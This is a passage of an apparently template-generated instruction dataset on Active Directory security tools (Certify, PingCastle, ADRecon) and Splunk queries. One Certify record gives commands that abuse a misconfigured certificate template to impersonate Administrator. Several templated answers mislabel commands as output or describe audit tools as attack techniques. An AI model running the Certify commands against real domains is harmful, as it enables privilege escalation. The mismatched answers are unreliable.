"phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-certify-certificate-attacks", "license": "original", "retrieved_at": "2025-12-18T00:11:32.053616Z", "transform_template": "attack_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.053716Z", "updated_at": "2025-12-18T00:11:32.053716Z"} +{"id": "trtp-f8bbf1e76b1d", "instruction": "How do I incorporate Certify into my security workflow?", "output": "Workflow for Certify Certificate Attacks:\n\n1. Understand the context: Certify enumerates AD Certificate Services misconfigurations and abuses them for privilege escalation. Finds vulnerable certificate templates that allow domain takeover.\n\n2. Apply the tool:\n```\n# Find vulnerable templates\nCertify.exe find /vulnerable\n\n# Request certificate with SAN (ESC1)\nCertify.exe request /ca:dc.corp.local\\CA /template:VulnTemplate /altname:Administrator\n\n# ESC vulnerabilities:\n# ESC1 - Template allows SAN specification\n# ESC2 - Template allows any purpose\n# ESC3 - Enrollment agent abuse\n# ESC4 - Vulnerable template ACLs\n# ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2\n```\n\n3. Common scenarios: AD CS enumeration, Certificate-based attacks, Privilege escalation\n\n4. Best practices:\n - Detection: 4886/4887 certificate events\n - Certipy is Python alternative", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-certify-certificate-attacks", "license": "original", "retrieved_at": "2025-12-18T00:11:32.053616Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.053730Z", "updated_at": "2025-12-18T00:11:32.053730Z"} +{"id": "trtp-0ca753bae7a9", "instruction": "What makes Certify useful for this task?", "output": "Advantages of Certify:\n\nCertify enumerates AD Certificate Services misconfigurations and abuses them for privilege escalation. Finds vulnerable certificate templates that allow domain takeover.\n\nBest suited for:\n- AD CS enumeration\n- Certificate-based attacks\n- Privilege escalation\n- Domain persistence\n\nActive Directory tools are essential for assessing enterprise security posture.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-certify-certificate-attacks", "license": "original", "retrieved_at": "2025-12-18T00:11:32.053616Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.053744Z", "updated_at": "2025-12-18T00:11:32.053744Z"} +{"id": "trtp-b600731b994f", "instruction": "How do I use Certify alongside other tools in my toolkit?", "output": "Integration points for Certify:\n\nCertify enumerates AD Certificate Services misconfigurations and abuses them for privilege escalation. Finds vulnerable certificate templates that allow domain takeover.\n\nIntegration suggestions:\n- Import results into visualization tools\n- Feed attack paths to remediation workflows\n- Correlate with SIEM alerts\n- Use with privilege audit systems", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-certify-certificate-attacks", "license": "original", "retrieved_at": "2025-12-18T00:11:32.053616Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.053757Z", "updated_at": "2025-12-18T00:11:32.053757Z"} +{"id": "trtp-b547fbf7b128", "instruction": "Explain PingCastle for security professionals.", "output": "PingCastle AD Assessment\n\nPingCastle performs Active Directory security assessments. Generates reports with security scores covering privileged accounts, trusts, anomalies, and stale objects.\n\nPlatform: windows\n\nCommon uses:\n- AD security assessment\n- Compliance checking\n- Baseline comparison\n- Executive reporting", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-pingcastle-ad-assessment", "license": "original", "retrieved_at": "2025-12-18T00:11:32.053925Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.053946Z", "updated_at": "2025-12-18T00:11:32.053946Z"} +{"id": "trtp-4c97872ed407", "instruction": "How do I use PingCastle?", "output": "Syntax for PingCastle:\n\nPingCastle.exe --healthcheck\n\nPingCastle performs Active Directory security assessments. Generates reports with security scores covering privileged accounts, trusts, anomalies, and stale objects.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-pingcastle-ad-assessment", "license": "original", "retrieved_at": "2025-12-18T00:11:32.053925Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.053959Z", "updated_at": "2025-12-18T00:11:32.053959Z"} +{"id": "trtp-6363f6808a40", "instruction": "Provide an example of using PingCastle.", "output": "Example of PingCastle AD Assessment:\n\n```\n# Full health check\nPingCastle.exe --healthcheck\n\n# Report includes:\n# - Global security score\n# - Privileged accounts analysis\n# - Trust relationships\n# - Anomaly detection\n# - Stale objects\n\n# Generate comparison report\nPingCastle.exe --healthcheck --level Full\n```\n\nInterpretation: HTML report with color-coded risk scores (0=best, 100=worst)", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-pingcastle-ad-assessment", "license": "original", "retrieved_at": "2025-12-18T00:11:32.053925Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.053970Z", "updated_at": "2025-12-18T00:11:32.053970Z"} +{"id": "trtp-cd00c95c4ce5", "instruction": "Provide an example of using PingCastle.", "output": "Here is a practical example of PingCastle:\n\n```\n# Full health check\nPingCastle.exe --healthcheck\n\n# Report includes:\n# - Global security score\n# - Privileged accounts analysis\n# - Trust relationships\n# - Anomaly detection\n# - Stale objects\n\n# Generate comparison report\nPingCastle.exe --healthcheck --level Full\n```\n\nPingCastle performs Active Directory security assessments. Generates reports with security scores covering privileged accounts, trusts, anomalies, and stale objects.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-pingcastle-ad-assessment", "license": "original", "retrieved_at": "2025-12-18T00:11:32.053925Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.053980Z", "updated_at": "2025-12-18T00:11:32.053980Z"} +{"id": "trtp-4284baffaeda", "instruction": "When should I use PingCastle?", "output": "Use cases for PingCastle:\n\n- AD security assessment\n- Compliance checking\n- Baseline comparison\n- Executive reporting\n\nPingCastle performs Active Directory security assessments. Generates reports with security scores covering privileged accounts, trusts, anomalies, and stale objects.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-pingcastle-ad-assessment", "license": "original", "retrieved_at": "2025-12-18T00:11:32.053925Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.053992Z", "updated_at": "2025-12-18T00:11:32.053992Z"} +{"id": "trtp-36d991db1af9", "instruction": "How do I interpret PingCastle output?", "output": "Interpreting PingCastle output:\n\nHTML report with color-coded risk scores (0=best, 100=worst)\n\nExample output:\n```\n# Full health check\nPingCastle.exe --healthcheck\n\n# Report includes:\n# - Global security score\n# - Privileged accounts analysis\n# - Trust relationships\n# - Anomaly detection\n# - Stale objects\n\n# Generate comparison report\nPingCastle.exe --healthcheck --level Full\n```", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-pingcastle-ad-assessment", "license": "original", "retrieved_at": "2025-12-18T00:11:32.053925Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.054002Z", "updated_at": "2025-12-18T00:11:32.054002Z"} +{"id": "trtp-f9213b24d572", "instruction": "What are some tips for using PingCastle?", "output": "Tips for using PingCastle:\n\n- Run regularly for trending\n- Focus on critical findings first\n- Good for executive summaries\n\nUseful for: AD security assessment, Compliance checking, Baseline comparison", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-pingcastle-ad-assessment", "license": "original", "retrieved_at": "2025-12-18T00:11:32.053925Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.054014Z", "updated_at": "2025-12-18T00:11:32.054014Z"} +{"id": "trtp-26bf9470a3c9", "instruction": "How do red teamers use PingCastle?", "output": "Offensive security uses of PingCastle:\n\nPingCastle performs Active Directory security assessments. Generates reports with security scores covering privileged accounts, trusts, anomalies, and stale objects.\n\nExample:\n```\n# Full health check\nPingCastle.exe --healthcheck\n\n# Report includes:\n# - Global security score\n# - Privileged accounts analysis\n# - Trust relationships\n# - Anomaly detection\n# - Stale objects\n\n# Generate comparison report\nPingCastle.exe --healthcheck --level Full\n```\n\nCapabilities:\n- AD security assessment\n- Compliance checking\n- Baseline comparison", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-pingcastle-ad-assessment", "license": "original", "retrieved_at": "2025-12-18T00:11:32.053925Z", "transform_template": "attack_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.054028Z", "updated_at": "2025-12-18T00:11:32.054028Z"} +{"id": "trtp-5dc47537e977", "instruction": "How do I incorporate PingCastle into my security workflow?", "output": "Workflow for PingCastle AD Assessment:\n\n1. Understand the context: PingCastle performs Active Directory security assessments. Generates reports with security scores covering privileged accounts, trusts, anomalies, and stale objects.\n\n2. Apply the tool:\n```\n# Full health check\nPingCastle.exe --healthcheck\n\n# Report includes:\n# - Global security score\n# - Privileged accounts analysis\n# - Trust relationships\n# - Anomaly detection\n# - Stale objects\n\n# Generate comparison report\nPingCastle.exe --healthcheck --level Full\n```\n\n3. Common scenarios: AD security assessment, Compliance checking, Baseline comparison\n\n4. Best practices:\n - Run regularly for trending\n - Focus on critical findings first", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-pingcastle-ad-assessment", "license": "original", "retrieved_at": "2025-12-18T00:11:32.053925Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.054042Z", "updated_at": "2025-12-18T00:11:32.054042Z"} +{"id": "trtp-407803eac2af", "instruction": "What makes PingCastle useful for this task?", "output": "Advantages of PingCastle:\n\nPingCastle performs Active Directory security assessments. Generates reports with security scores covering privileged accounts, trusts, anomalies, and stale objects.\n\nBest suited for:\n- AD security assessment\n- Compliance checking\n- Baseline comparison\n- Executive reporting\n\nActive Directory tools are essential for assessing enterprise security posture.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-pingcastle-ad-assessment", "license": "original", "retrieved_at": "2025-12-18T00:11:32.053925Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.054056Z", "updated_at": "2025-12-18T00:11:32.054056Z"} +{"id": "trtp-6c1a84733288", "instruction": "Can PingCastle be combined with other analysis methods?", "output": "Integration points for PingCastle:\n\nPingCastle performs Active Directory security assessments. Generates reports with security scores covering privileged accounts, trusts, anomalies, and stale objects.\n\nIntegration suggestions:\n- Import results into visualization tools\n- Feed attack paths to remediation workflows\n- Correlate with SIEM alerts\n- Use with privilege audit systems", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-pingcastle-ad-assessment", "license": "original", "retrieved_at": "2025-12-18T00:11:32.053925Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.054070Z", "updated_at": "2025-12-18T00:11:32.054070Z"} +{"id": "trtp-cc009a46e86b", "instruction": "Explain ADRecon for security professionals.", "output": "ADRecon AD Reporting\n\nADRecon gathers extensive Active Directory information and generates Excel reports. Collects users, groups, computers, GPOs, and more for security analysis.\n\nPlatform: windows\n\nCommon uses:\n- AD documentation\n- Security audit\n- Asset inventory\n- Change tracking", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-adrecon-ad-reporting", "license": "original", "retrieved_at": "2025-12-18T00:11:32.054259Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.054280Z", "updated_at": "2025-12-18T00:11:32.054280Z"} +{"id": "trtp-4a4563d96e43", "instruction": "What is the syntax for ADRecon?", "output": "Syntax for ADRecon:\n\nADRecon.ps1 [options]\n\nADRecon gathers extensive Active Directory information and generates Excel reports. Collects users, groups, computers, GPOs, and more for security analysis.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-adrecon-ad-reporting", "license": "original", "retrieved_at": "2025-12-18T00:11:32.054259Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.054293Z", "updated_at": "2025-12-18T00:11:32.054293Z"} +{"id": "trtp-d1a398d972e0", "instruction": "How would I use ADRecon for AD documentation?", "output": "Example of ADRecon AD Reporting:\n\n```\n# Run full collection\n.\\ADRecon.ps1\n\n# Specific collections\n.\\ADRecon.ps1 -Collect Users,Groups,Computers\n\n# Output formats\n.\\ADRecon.ps1 -OutputType CSV\n.\\ADRecon.ps1 -OutputType Excel\n\n# Output includes: Users, Groups, Computers, OUs\n# GPOs, SPNs, LAPS, Trusts, ACLs\n```\n\nInterpretation: Excel workbook with multiple tabs for each AD object type", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-adrecon-ad-reporting", "license": "original", "retrieved_at": "2025-12-18T00:11:32.054259Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.054305Z", "updated_at": "2025-12-18T00:11:32.054305Z"} +{"id": "trtp-857a66c34e0a", "instruction": "Provide an example of using ADRecon.", "output": "Here is a practical example of ADRecon:\n\n```\n# Run full collection\n.\\ADRecon.ps1\n\n# Specific collections\n.\\ADRecon.ps1 -Collect Users,Groups,Computers\n\n# Output formats\n.\\ADRecon.ps1 -OutputType CSV\n.\\ADRecon.ps1 -OutputType Excel\n\n# Output includes: Users, Groups, Computers, OUs\n# GPOs, SPNs, LAPS, Trusts, ACLs\n```\n\nADRecon gathers extensive Active Directory information and generates Excel reports. Collects users, groups, computers, GPOs, and more for security analysis.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-adrecon-ad-reporting", "license": "original", "retrieved_at": "2025-12-18T00:11:32.054259Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.054315Z", "updated_at": "2025-12-18T00:11:32.054315Z"} +{"id": "trtp-0a5fea07425b", "instruction": "What security tasks can I accomplish with ADRecon?", "output": "Use cases for ADRecon:\n\n- AD documentation\n- Security audit\n- Asset inventory\n- Change tracking\n\nADRecon gathers extensive Active Directory information and generates Excel reports. Collects users, groups, computers, GPOs, and more for security analysis.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-adrecon-ad-reporting", "license": "original", "retrieved_at": "2025-12-18T00:11:32.054259Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.054327Z", "updated_at": "2025-12-18T00:11:32.054327Z"} +{"id": "trtp-13438df51a2c", "instruction": "How do I read ADRecon output?", "output": "Interpreting ADRecon output:\n\nExcel workbook with multiple tabs for each AD object type\n\nExample output:\n```\n# Run full collection\n.\\ADRecon.ps1\n\n# Specific collections\n.\\ADRecon.ps1 -Collect Users,Groups,Computers\n\n# Output formats\n.\\ADRecon.ps1 -OutputType CSV\n.\\ADRecon.ps1 -OutputType Excel\n\n# Output includes: Users, Groups, Computers, OUs\n# GPOs, SPNs, LAPS, Trusts, ACLs\n```", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-adrecon-ad-reporting", "license": "original", "retrieved_at": "2025-12-18T00:11:32.054259Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.054338Z", "updated_at": "2025-12-18T00:11:32.054338Z"} +{"id": "trtp-36c13c81852c", "instruction": "What are common tips for ADRecon?", "output": "Tips for using ADRecon:\n\n- Requires RSAT or AD PowerShell module\n- Run from domain-joined system\n- Good for audit evidence\n\nUseful for: AD documentation, Security audit, Asset inventory", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-adrecon-ad-reporting", "license": "original", "retrieved_at": "2025-12-18T00:11:32.054259Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.054350Z", "updated_at": "2025-12-18T00:11:32.054350Z"} +{"id": "trtp-aed9f2d2688a", "instruction": "What attack techniques can be performed with ADRecon?", "output": "Offensive security uses of ADRecon:\n\nADRecon gathers extensive Active Directory information and generates Excel reports. Collects users, groups, computers, GPOs, and more for security analysis.\n\nExample:\n```\n# Run full collection\n.\\ADRecon.ps1\n\n# Specific collections\n.\\ADRecon.ps1 -Collect Users,Groups,Computers\n\n# Output formats\n.\\ADRecon.ps1 -OutputType CSV\n.\\ADRecon.ps1 -OutputType Excel\n\n# Output includes: Users, Groups, Computers, OUs\n# GPOs, SPNs, LAPS, Trusts, ACLs\n```\n\nCapabilities:\n- AD documentation\n- Security audit\n- Asset inventory", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-adrecon-ad-reporting", "license": "original", "retrieved_at": "2025-12-18T00:11:32.054259Z", "transform_template": "attack_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.054364Z", "updated_at": "2025-12-18T00:11:32.054364Z"} +{"id": "trtp-76f1a93c18e2", "instruction": "What is the typical workflow for using ADRecon?", "output": "Workflow for ADRecon AD Reporting:\n\n1. Understand the context: ADRecon gathers extensive Active Directory information and generates Excel reports. Collects users, groups, computers, GPOs, and more for security analysis.\n\n2. Apply the tool:\n```\n# Run full collection\n.\\ADRecon.ps1\n\n# Specific collections\n.\\ADRecon.ps1 -Collect Users,Groups,Computers\n\n# Output formats\n.\\ADRecon.ps1 -OutputType CSV\n.\\ADRecon.ps1 -OutputType Excel\n\n# Output includes: Users, Groups, Computers, OUs\n# GPOs, SPNs, LAPS, Trusts, ACLs\n```\n\n3. Common scenarios: AD documentation, Security audit, Asset inventory\n\n4. Best practices:\n - Requires RSAT or AD PowerShell module\n - Run from domain-joined system", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-adrecon-ad-reporting", "license": "original", "retrieved_at": "2025-12-18T00:11:32.054259Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.054378Z", "updated_at": "2025-12-18T00:11:32.054378Z"} +{"id": "trtp-cb8b90d99343", "instruction": "What are the advantages of ADRecon for security analysis?", "output": "Advantages of ADRecon:\n\nADRecon gathers extensive Active Directory information and generates Excel reports. Collects users, groups, computers, GPOs, and more for security analysis.\n\nBest suited for:\n- AD documentation\n- Security audit\n- Asset inventory\n- Change tracking\n\nActive Directory tools are essential for assessing enterprise security posture.", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-adrecon-ad-reporting", "license": "original", "retrieved_at": "2025-12-18T00:11:32.054259Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.054392Z", "updated_at": "2025-12-18T00:11:32.054392Z"} +{"id": "trtp-abd5ef8050e2", "instruction": "Can ADRecon be combined with other analysis methods?", "output": "Integration points for ADRecon:\n\nADRecon gathers extensive Active Directory information and generates Excel reports. Collects users, groups, computers, GPOs, and more for security analysis.\n\nIntegration suggestions:\n- Import results into visualization tools\n- Feed attack paths to remediation workflows\n- Correlate with SIEM alerts\n- Use with privilege audit systems", "category": "attack_techniques", "team": "red", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-ad_tools-adrecon-ad-reporting", "license": "original", "retrieved_at": "2025-12-18T00:11:32.054259Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.054406Z", "updated_at": "2025-12-18T00:11:32.054406Z"} +{"id": "trtp-fdd67388d5ab", "instruction": "What do I need to know about Splunk?", "output": "SPL Basics\n\nSearch Processing Language (SPL) is Splunk's query language. Searches start with a search command and pipe through transforming commands to filter, aggregate, and format results.\n\nPlatform: cross-platform\n\nCommon uses:\n- Log searching\n- Security analysis\n- Incident investigation\n- Threat hunting", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-splunk-spl-basics", "license": "original", "retrieved_at": "2025-12-18T00:11:32.054602Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.054625Z", "updated_at": "2025-12-18T00:11:32.054625Z"} +{"id": "trtp-e13c65122ab1", "instruction": "How do I use Splunk?", "output": "Syntax for Splunk:\n\nsearch | command1 | command2\n\nSearch Processing Language (SPL) is Splunk's query language. Searches start with a search command and pipe through transforming commands to filter, aggregate, and format results.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-splunk-spl-basics", "license": "original", "retrieved_at": "2025-12-18T00:11:32.054602Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.054639Z", "updated_at": "2025-12-18T00:11:32.054639Z"} +{"id": "trtp-3195983f90e5", "instruction": "Demonstrate SPL Basics with an example.", "output": "Example of SPL Basics:\n\n```\n# Basic search\nindex=main sourcetype=WinEventLog:Security EventCode=4624\n\n# With time range\nindex=main earliest=-24h latest=now\n\n# Pipe to stats\nindex=main EventCode=4624 | stats count by user\n\n# Multiple conditions\nindex=main (EventCode=4624 OR EventCode=4625) user=admin*\n```\n\nInterpretation: Returns matching events or aggregated results", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-splunk-spl-basics", "license": "original", "retrieved_at": "2025-12-18T00:11:32.054602Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.054650Z", "updated_at": "2025-12-18T00:11:32.054650Z"} +{"id": "trtp-b8369d368304", "instruction": "Provide an example of using Splunk.", "output": "Here is a practical example of Splunk:\n\n```\n# Basic search\nindex=main sourcetype=WinEventLog:Security EventCode=4624\n\n# With time range\nindex=main earliest=-24h latest=now\n\n# Pipe to stats\nindex=main EventCode=4624 | stats count by user\n\n# Multiple conditions\nindex=main (EventCode=4624 OR EventCode=4625) user=admin*\n```\n\nSearch Processing Language (SPL) is Splunk's query language. Searches start with a search command and pipe through transforming commands to filter, aggregate, and format results.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-splunk-spl-basics", "license": "original", "retrieved_at": "2025-12-18T00:11:32.054602Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.054661Z", "updated_at": "2025-12-18T00:11:32.054661Z"} +{"id": "trtp-fe0ca6af68bb", "instruction": "In what scenarios is Splunk useful?", "output": "Use cases for Splunk:\n\n- Log searching\n- Security analysis\n- Incident investigation\n- Threat hunting\n\nSearch Processing Language (SPL) is Splunk's query language. Searches start with a search command and pipe through transforming commands to filter, aggregate, and format results.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-splunk-spl-basics", "license": "original", "retrieved_at": "2025-12-18T00:11:32.054602Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.054673Z", "updated_at": "2025-12-18T00:11:32.054673Z"} +{"id": "trtp-41ca14ae7c97", "instruction": "Explain the output of Splunk.", "output": "Interpreting Splunk output:\n\nReturns matching events or aggregated results\n\nExample output:\n```\n# Basic search\nindex=main sourcetype=WinEventLog:Security EventCode=4624\n\n# With time range\nindex=main earliest=-24h latest=now\n\n# Pipe to stats\nindex=main EventCode=4624 | stats count by user\n\n# Multiple conditions\nindex=main (EventCode=4624 OR EventCode=4625) user=admin*\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-splunk-spl-basics", "license": "original", "retrieved_at": "2025-12-18T00:11:32.054602Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.054684Z", "updated_at": "2025-12-18T00:11:32.054684Z"} +{"id": "trtp-688f3581743f", "instruction": "How can I get the most out of Splunk?", "output": "Tips for using Splunk:\n\n- Always specify index for performance\n- Use earliest/latest for time bounds\n- Pipe commands transform output\n\nUseful for: Log searching, Security analysis, Incident investigation", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-splunk-spl-basics", "license": "original", "retrieved_at": "2025-12-18T00:11:32.054602Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.054696Z", "updated_at": "2025-12-18T00:11:32.054696Z"} +{"id": "trtp-422a60ff4e62", "instruction": "How can Splunk help identify malicious activity?", "output": "Using Splunk for threat detection:\n\nSearch Processing Language (SPL) is Splunk's query language. Searches start with a search command and pipe through transforming commands to filter, aggregate, and format results.\n\nExample:\n```\n# Basic search\nindex=main sourcetype=WinEventLog:Security EventCode=4624\n\n# With time range\nindex=main earliest=-24h latest=now\n\n# Pipe to stats\nindex=main EventCode=4624 | stats count by user\n\n# Multiple conditions\nindex=main (EventCode=4624 OR EventCode=4625) user=admin*\n```\n\nTips:\n- Always specify index for performance\n- Use earliest/latest for time bounds", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-splunk-spl-basics", "license": "original", "retrieved_at": "2025-12-18T00:11:32.054602Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.054708Z", "updated_at": "2025-12-18T00:11:32.054708Z"} +{"id": "trtp-8154ea5b87e0", "instruction": "How do I incorporate Splunk into my security workflow?", "output": "Workflow for SPL Basics:\n\n1. Understand the context: Search Processing Language (SPL) is Splunk's query language. Searches start with a search command and pipe through transforming commands to filter, aggregate, and format results.\n\n2. Apply the tool:\n```\n# Basic search\nindex=main sourcetype=WinEventLog:Security EventCode=4624\n\n# With time range\nindex=main earliest=-24h latest=now\n\n# Pipe to stats\nindex=main EventCode=4624 | stats count by user\n\n# Multiple conditions\nindex=main (EventCode=4624 OR EventCode=4625) user=admin*\n```\n\n3. Common scenarios: Log searching, Security analysis, Incident investigation\n\n4. Best practices:\n - Always specify index for performance\n - Use earliest/latest for time bounds", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-splunk-spl-basics", "license": "original", "retrieved_at": "2025-12-18T00:11:32.054602Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.054724Z", "updated_at": "2025-12-18T00:11:32.054724Z"} +{"id": "trtp-934d83fb8f28", "instruction": "What makes Splunk 